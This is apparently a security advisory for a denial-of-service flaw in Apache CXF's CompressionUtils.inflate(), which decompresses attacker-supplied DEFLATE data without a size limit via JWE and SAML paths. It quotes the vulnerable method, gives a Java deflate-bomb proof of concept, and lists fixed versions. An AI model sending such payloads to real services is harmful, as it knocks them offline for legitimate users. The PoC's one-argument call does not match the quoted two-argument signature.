CVE-2026-78384

Overview

Apache CXF is an open-source services framework, maintained by the Apache Software Foundation, for building and consuming web services in Java. It implements the JAX-WS and JAX-RS APIs and supports SOAP, the WS-* standards, RESTful HTTP, and OAuth 2.0 over transports such as HTTP and JMS. Its modules are published as Maven artifacts under org.apache.cxf.

A denial-of-service vulnerability (CVE-2026-78384) has been identified in Apache CXF, which allows attackers to exhaust server memory by submitting a small crafted DEFLATE payload that expands without bound when the framework decompresses it. Because the decompression happens before, or independently of, trust validation, an unauthenticated attacker can reach the vulnerable code path through JWE decryption when zip=DEF and through SAML redirect and POST binding token inflation.

Per OWASP: The Denial of Service (DoS) attack is focused on making a resource (site, application, server) unavailable for the purpose it was designed. There are many ways to make a service unavailable for legitimate users by manipulating network packets, programming, logical, or resources handling vulnerabilities, among others. If a service receives a very large number of requests, it may cease to be available to legitimate users. In the same way, a service may stop if a programming vulnerability is exploited, or the way the service handles resources it uses.

This issue affects multiple versions of Apache CXF.

Details

Module Info

• Product: Apache CXF
• Affected packages: org.apache.cxf:cxf-core
• Affected versions: <3.6.13, >=4.0.0 <4.1.9, >=4.2.0 <4.2.4
• GitHub repository: https://github.com/apache/cxf
• Published packages: https://central.sonatype.com/artifact/org.apache.cxf/cxf-core
• Package manager: Maven
• Fixed in:
  • OSS Apache CXF 3.6.13, 4.1.9, 4.2.4
  • NES for Apache CXF v3.4.13, v3.5.14

Vulnerability Info

This Medium-severity vulnerability is found in the org.apache.cxf:cxf-core package in multiple versions of Apache CXF. The CompressionUtils.inflate() helper decompresses a DEFLATE-encoded byte array into an in-memory ByteArrayOutputStream with no limit on the amount of output it produces:

public static InputStream inflate(byte[] deflatedToken, boolean nowrap)
    throws DataFormatException {
    Inflater inflater = new Inflater(nowrap);
    inflater.setInput(deflatedToken);

    byte[] buffer = new byte[deflatedToken.length];
    int inflateLen;
    ByteArrayOutputStream inflatedToken = new ByteArrayOutputStream();
    while (!inflater.finished()) {
        inflateLen = inflater.inflate(buffer, 0, deflatedToken.length);
        if (inflateLen == 0 && !inflater.finished()) {
            if (inflater.needsInput()) {
                throw new DataFormatException("Inflater can not inflate all the token bytes");
            }
            break;
        }

        inflatedToken.write(buffer, 0, inflateLen);
    }

    return new ByteArrayInputStream(inflatedToken.toByteArray());
}

The loop keeps calling inflater.inflate(...) and writing the result into the growing inflatedToken buffer until the Inflater reports that it is finished. Nothing tracks or caps the cumulative decompressed size, so a highly compressible input (a "deflate bomb" of repeated bytes, roughly 1 MB on the wire) expands to about 1 GiB on the heap. The attacker-controlled bytes reach this method unverified: DeflateEncoderDecoder.inflateToken() in the SAML XML security module forwards a redirect or POST binding token straight into CompressionUtils.inflate(), and the JOSE/JWE path decompresses zip=DEF content during decryption. A single small request is therefore enough to drive the process into an OutOfMemoryError and deny service to legitimate users.

Steps to Reproduce

1. Add org.apache.cxf:cxf-core (an affected version, for example 3.5.11) to a project.

2. Build a highly compressible payload and DEFLATE-compress it, then hand the compact result to CompressionUtils.inflate():

ByteArrayOutputStream out = new ByteArrayOutputStream();
try (DeflaterOutputStream dos = new DeflaterOutputStream(out, new Deflater(9, true))) {
    byte[] zeros = new byte[1024 * 1024];
    for (int i = 0; i < 1024; i++) {
        dos.write(zeros); // 1 GiB of zeros in -> about 1 MB compressed out
    }
}
byte[] payload = out.toByteArray();
System.out.println("Payload size: " + payload.length + " bytes");

CompressionUtils.inflate(payload); // inflates the whole stream onto the heap

3. Run with a bounded heap (for example -Xmx256m). The roughly 1 MB payload decompresses toward 1 GiB and the call fails with java.lang.OutOfMemoryError: Java heap space inside ByteArrayOutputStream.write, demonstrating the unbounded memory consumption.

Mitigation

Only recent versions of Apache CXF are community-supported. Older lines are End-of-Life and will not receive public updates to address this issue.

Users of the affected components should apply one of the following mitigations:

• Upgrade to a currently supported Apache CXF release line (3.6.x or later) that contains the fix.
• Leverage a commercial support partner like HeroDevs for post-EOL security support.

Credits

• Guanping Zhang (finder)